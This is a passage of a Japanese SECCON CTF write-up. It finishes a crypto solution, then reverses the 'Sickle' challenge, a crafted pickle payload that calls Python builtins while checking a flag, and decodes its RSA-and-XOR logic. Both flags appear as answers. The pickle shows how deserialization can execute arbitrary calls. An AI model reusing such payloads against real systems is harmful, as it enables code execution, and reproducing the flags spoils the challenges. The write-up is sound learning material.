x = 7049028611791788416527503767299980833321921650481226830932534653625257422176384144719911602909797120284285091830806114062950348160008190664321577663871563837270267155550634304964856597253208412711703848917667823991955970386527486366865185316802697814003588828834002848101853548538063583250247713915815836305*pow(2132,-1,n)
y = 1445756961884039688206006403016605462701443924280141487433975857490984874074679370091427168824979018044486406100455879523760143627951139508512981298995568724169767629298108686532578073932766969890808816742251917844773560133362140668647020713495750730897281940486267010015313369153151530829014747374355143674997*pow(2132,-1,n)
z = -311315569391963887847685837167979737900306966985133438771051798316702171035040518764888660091690460392450862398347146922390662994880960221252279187855594347430079549240069854465187770827861466779325825840964911214735467736517571747502975549745547163295275470567521645613588976293219198802628213233200919895279*pow(1066,-1,n)

X = (b*x+c*y+d*z) % n

print("X =",X)

x = -115*pow(2132,-1,n)
y = 1067*pow(2132,-1,n)
z = -181*pow(3731,-1,n)

m = ((b*x+c*y+d*z) * pow(X,-1,n)) % n

print(long_to_bytes(m))

flag

SECCON{pr0m153_m3!d0_n07_3ncryp7_p_0r_q_3v3n_w17h_r54_4.0}

Sickle (reversing)

問題

Pickle infected with COVID-19

problem.py
import pickle, io


payload = b'\x8c\x08builtins\x8c\x07getattr\x93\x942\x8c\x08builtins\x8c\x05input\x93\x8c\x06FLAG> \x85R\x8c\x06encode\x86R)R\x940g0\n\x8c\x08builtins\x8c\x04dict\x93\x8c\x03get\x86R\x8c\x08builtins\x8c\x07globals\x93)R\x8c\x01f\x86R\x8c\x04seek\x86R\x94g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__add__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__mul__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x06__eq__\x86R\x940g3\ng5\n\x8c\x08builtins\x8c\x03len\x93g1\n\x85RM@\x00\x86RM\x05\x01\x86R\x85R.0g0\ng1\n\x8c\x0b__getitem__\x86R\x940M\x00\x00\x940g2\ng3\ng0\ng6\ng7\n\x85R\x8c\x06__le__\x86RM\x7f\x00\x85RMJ\x01\x86R\x85R.0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM@\x00\x86RMU\x00\x86RM"\x01\x86R\x85R0g0\ng0\n]\x94\x8c\x06append\x86R\x940g8\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\nfrom_bytes\x86R\x940M\x00\x00p7\n0g9\ng11\ng6\n\x8c\x08builtins\x8c\x05slice\x93g4\ng7\nM\x08\x00\x86Rg4\ng3\ng7\nM\x01\x00\x86RM\x08\x00\x86R\x86R\x85R\x8c\x06little\x86R\x85R0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RMw\x00\x86RM\xc9\x01\x86R\x85R0g0\n]\x94\x8c\x06append\x86R\x940g0\ng12\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__xor__\x86R\x940I1244422970072434993\n\x940M\x00\x00p7\n0g13\n\x8c\x08builtins\x8c\x03pow\x93g15\ng10\ng7\n\x85Rg16\n\x86RI65537\nI18446744073709551557\n\x87R\x85R0g14\ng7\n\x85Rp16\n0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RM\x83\x00\x86RM\xa7\x02\x86R\x85R0g0\ng12\n\x8c\x06__eq__\x86R(I8215359690687096682\nI1862662588367509514\nI8350772864914849965\nI11616510986494699232\nI3711648467207374797\nI9722127090168848805\nI16780197523811627561\nI18138828537077112905\nl\x85R.'
f = io.BytesIO(payload)
res = pickle.load(f)

if isinstance(res, bool) and res:
    print("Congratulations!!")
else:
    print("Nope")

解法

Fickling というツールを見つけたのでデコンパイルしてみます。
エラーが出ましたがとりあえずデコンパイルできるようです。

_var0 = input('FLAG> ')
_var1 = getattr(_var0, 'encode')
_var2 = _var1()
_var3 = getattr(dict, 'get')
_var4 = globals()
_var5 = _var3(_var4, 'f')
_var6 = getattr(_var5, 'seek')
_var7 = getattr(int, '__add__')
_var8 = getattr(int, '__mul__')
_var9 = getattr(int, '__eq__')
_var10 = len(_var2)
_var11 = _var9(_var10, 64)
_var12 = _var7(_var11, 261)
_var13 = _var6(_var12)
result0 = _var13

実行すると AttributeError: 'NoneType' object has no attribute 'seek' というエラーが発生しました。
とりあえず何が起こっているのかを知るために読みやすくします。

inp = input('FLAG> ').encode()
res = globals().get("f").seek((len(inp) == 64) + 261)

とりあえず f というグローバル変数が無いせいでエラーが出ていそうです。
次のように修正したらうまく動きました。

import pickle, io

payload = b'\x8c\x08builtins\x8c\x07getattr\x93\x942\x8c\x08builtins\x8c\x05input\x93\x8c\x06FLAG> \x85R\x8c\x06encode\x86R)R\x940g0\n\x8c\x08builtins\x8c\x04dict\x93\x8c\x03get\x86R\x8c\x08builtins\x8c\x07globals\x93)R\x8c\x01f\x86R\x8c\x04seek\x86R\x94g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__add__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__mul__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x06__eq__\x86R\x940g3\ng5\n\x8c\x08builtins\x8c\x03len\x93g1\n\x85RM@\x00\x86RM\x05\x01\x86R\x85R.0g0\ng1\n\x8c\x0b__getitem__\x86R\x940M\x00\x00\x940g2\ng3\ng0\ng6\ng7\n\x85R\x8c\x06__le__\x86RM\x7f\x00\x85RMJ\x01\x86R\x85R.0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM@\x00\x86RMU\x00\x86RM"\x01\x86R\x85R0g0\ng0\n]\x94\x8c\x06append\x86R\x940g8\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\nfrom_bytes\x86R\x940M\x00\x00p7\n0g9\ng11\ng6\n\x8c\x08builtins\x8c\x05slice\x93g4\ng7\nM\x08\x00\x86Rg4\ng3\ng7\nM\x01\x00\x86RM\x08\x00\x86R\x86R\x85R\x8c\x06little\x86R\x85R0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RMw\x00\x86RM\xc9\x01\x86R\x85R0g0\n]\x94\x8c\x06append\x86R\x940g0\ng12\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__xor__\x86R\x940I1244422970072434993\n\x940M\x00\x00p7\n0g13\n\x8c\x08builtins\x8c\x03pow\x93g15\ng10\ng7\n\x85Rg16\n\x86RI65537\nI18446744073709551557\n\x87R\x85R0g14\ng7\n\x85Rp16\n0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RM\x83\x00\x86RM\xa7\x02\x86R\x85R0g0\ng12\n\x8c\x06__eq__\x86R(I8215359690687096682\nI1862662588367509514\nI8350772864914849965\nI11616510986494699232\nI3711648467207374797\nI9722127090168848805\nI16780197523811627561\nI18138828537077112905\nl\x85R.'
f = io.BytesIO(payload)

inp = input('FLAG> ').encode()
res = f.seek((len(inp) == 64) + 261)
print(res)

入力の長さが 64 ならば payload262 文字目以降 (0-idx) を実行していそうです。
(そうでなければ 261 文字目以降)
しかし、262文字目以降をデコンパイルしようとしてもうまくいきません。
ここで、「スタックの状態を保持したまま実行されるのでは?」と思いつきます。
pickletools.dis(payload) の結果も考えると、260 文字目までが実行されてから 262 文字目以降を実行していそうなので、261文字目を消したものを Fickling にかけます。

_var0 = input('FLAG> ')
_var1 = getattr(_var0, 'encode')
_var2 = _var1()
_var3 = getattr(dict, 'get')
_var4 = globals()
_var5 = _var3(_var4, 'f')
_var6 = getattr(_var5, 'seek')
_var7 = getattr(int, '__add__')
_var8 = getattr(int, '__mul__')
_var9 = getattr(int, '__eq__')
_var10 = len(_var2)
_var11 = _var9(_var10, 64)
_var12 = _var7(_var11, 261)
_var13 = _var6(_var12)
_var14 = getattr(_var2, '__getitem__')
_var15 = _var14(0)
_var16 = getattr(_var15, '__le__')
_var17 = _var16(127)
_var18 = _var7(_var17, 330)
_var19 = _var6(_var18)
result0 = _var19

ちょっと増えましたね。
わかりやすくするとこうなります。

import pickle, io

payload = b'\x8c\x08builtins\x8c\x07getattr\x93\x942\x8c\x08builtins\x8c\x05input\x93\x8c\x06FLAG> \x85R\x8c\x06encode\x86R)R\x940g0\n\x8c\x08builtins\x8c\x04dict\x93\x8c\x03get\x86R\x8c\x08builtins\x8c\x07globals\x93)R\x8c\x01f\x86R\x8c\x04seek\x86R\x94g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__add__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__mul__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x06__eq__\x86R\x940g3\ng5\n\x8c\x08builtins\x8c\x03len\x93g1\n\x85RM@\x00\x86RM\x05\x01\x86R\x85R.0g0\ng1\n\x8c\x0b__getitem__\x86R\x940M\x00\x00\x940g2\ng3\ng0\ng6\ng7\n\x85R\x8c\x06__le__\x86RM\x7f\x00\x85RMJ\x01\x86R\x85R.0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM@\x00\x86RMU\x00\x86RM"\x01\x86R\x85R0g0\ng0\n]\x94\x8c\x06append\x86R\x940g8\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\nfrom_bytes\x86R\x940M\x00\x00p7\n0g9\ng11\ng6\n\x8c\x08builtins\x8c\x05slice\x93g4\ng7\nM\x08\x00\x86Rg4\ng3\ng7\nM\x01\x00\x86RM\x08\x00\x86R\x86R\x85R\x8c\x06little\x86R\x85R0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RMw\x00\x86RM\xc9\x01\x86R\x85R0g0\n]\x94\x8c\x06append\x86R\x940g0\ng12\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__xor__\x86R\x940I1244422970072434993\n\x940M\x00\x00p7\n0g13\n\x8c\x08builtins\x8c\x03pow\x93g15\ng10\ng7\n\x85Rg16\n\x86RI65537\nI18446744073709551557\n\x87R\x85R0g14\ng7\n\x85Rp16\n0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RM\x83\x00\x86RM\xa7\x02\x86R\x85R0g0\ng12\n\x8c\x06__eq__\x86R(I8215359690687096682\nI1862662588367509514\nI8350772864914849965\nI11616510986494699232\nI3711648467207374797\nI9722127090168848805\nI16780197523811627561\nI18138828537077112905\nl\x85R.'
f = io.BytesIO(payload)

inp = input('FLAG> ').encode()
res = f.seek((inp[0] <= 127) + 330)

print(res)

また同じようにやればよさそうです。

_var0 = input('FLAG> ')
_var1 = getattr(_var0, 'encode')
_var2 = _var1()
_var3 = getattr(dict, 'get')
_var4 = globals()
_var5 = _var3(_var4, 'f')
_var6 = getattr(_var5, 'seek')
_var7 = getattr(int, '__add__')
_var8 = getattr(int, '__mul__')
_var9 = getattr(int, '__eq__')
_var10 = len(_var2)
_var11 = _var9(_var10, 64)
_var12 = _var7(_var11, 261)
_var13 = _var6(_var12)
_var14 = getattr(_var2, '__getitem__')
_var15 = _var14(0)
_var16 = getattr(_var15, '__le__')
_var17 = _var16(127)
_var18 = _var7(_var17, 330)
_var19 = _var6(_var18)
_var20 = _var7(0, 1)
_var21 = _var9(_var20, 64)
_var22 = _var8(_var21, 85)
_var23 = _var7(_var22, 290)
_var24 = _var6(_var23)
_var25 = getattr([], 'append')
_var26 = getattr([], '__getitem__')
_var27 = getattr(int, 'from_bytes')
_var28 = _var8(0, 8)
_var29 = _var7(0, 1)
_var30 = _var8(_var29, 8)
_var31 = slice(_var28, _var30)
_var32 = _var14(_var31)
_var33 = _var27(_var32, 'little')
_var34 = _var25(_var33)
_var35 = _var7(0, 1)
_var36 = _var9(_var35, 8)
_var37 = _var8(_var36, 119)
_var38 = _var7(_var37, 457)
_var39 = _var6(_var38)
_var40 = getattr([], 'append')
_var41 = getattr([], '__getitem__')
_var42 = getattr(int, '__xor__')
_var43 = _var26(0)
_var44 = _var42(_var43, 1244422970072434993)
_var45 = pow(_var44, 65537, 18446744073709551557)
_var46 = _var40(_var45)
_var47 = _var41(0)
_var48 = _var7(0, 1)
_var49 = _var9(_var48, 8)
_var50 = _var8(_var49, 131)
_var51 = _var7(_var50, 679)
_var52 = _var6(_var51)
_var53 = getattr([], '__eq__')
_var54 = _var53([8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905])
result0 = _var54

このように(若干のエスパーをしながら)作業を続けていくと

solve.py
inp = input('FLAG> ').encode()
X = []
for i in range(8):
    X.append(int.from_bytes(inp[i*8:(i+1)*8], 'little'))
Y = []
p = 1244422970072434993
for i in range(8):
    Y.append(pow(X[i] ^ p, 65537, 18446744073709551557))
    p = Y[i]
res = (Y == [8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905])
print(res)

となり、あとは 1素数RSA + xor なので簡単に元に戻すことができます。

solve.py
flag = b""
Y = [8215359690687096682, 1862662588367509514, 8350772864914849965, 11616510986494699232, 3711648467207374797, 9722127090168848805, 16780197523811627561, 18138828537077112905]
d = pow(65537, -1, 18446744073709551557-1)
p = 1244422970072434993

for i in range(8):
    flag += (p ^ pow(Y[i], d, 18446744073709551557)).to_bytes(8, 'little')
    p = Y[i]

print(flag)

flag

SECCON{Can_someone_please_make_a_debugger_for_Pickle_bytecode??}

おわりに

次回は国内 top 10 目指したいです。
強い方、ぜひ拾っていただけると嬉しいです…

  1. 執筆時点で高1なのですが、学業が大変なことになりかけています…

  2. すごい時間がかかって大変でした

  3. GitHub Copilot がほとんど実装してくれました。便利ですね。

  4. sympy で求められます。

    import sympy
    sympy.var('x,y,z')
    print(sympy.solve([3*x+3*y+7*z - 0,1*x+13*y+133*z - 1,337*x+37*y+7*z - 0]))
    
10
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
10
3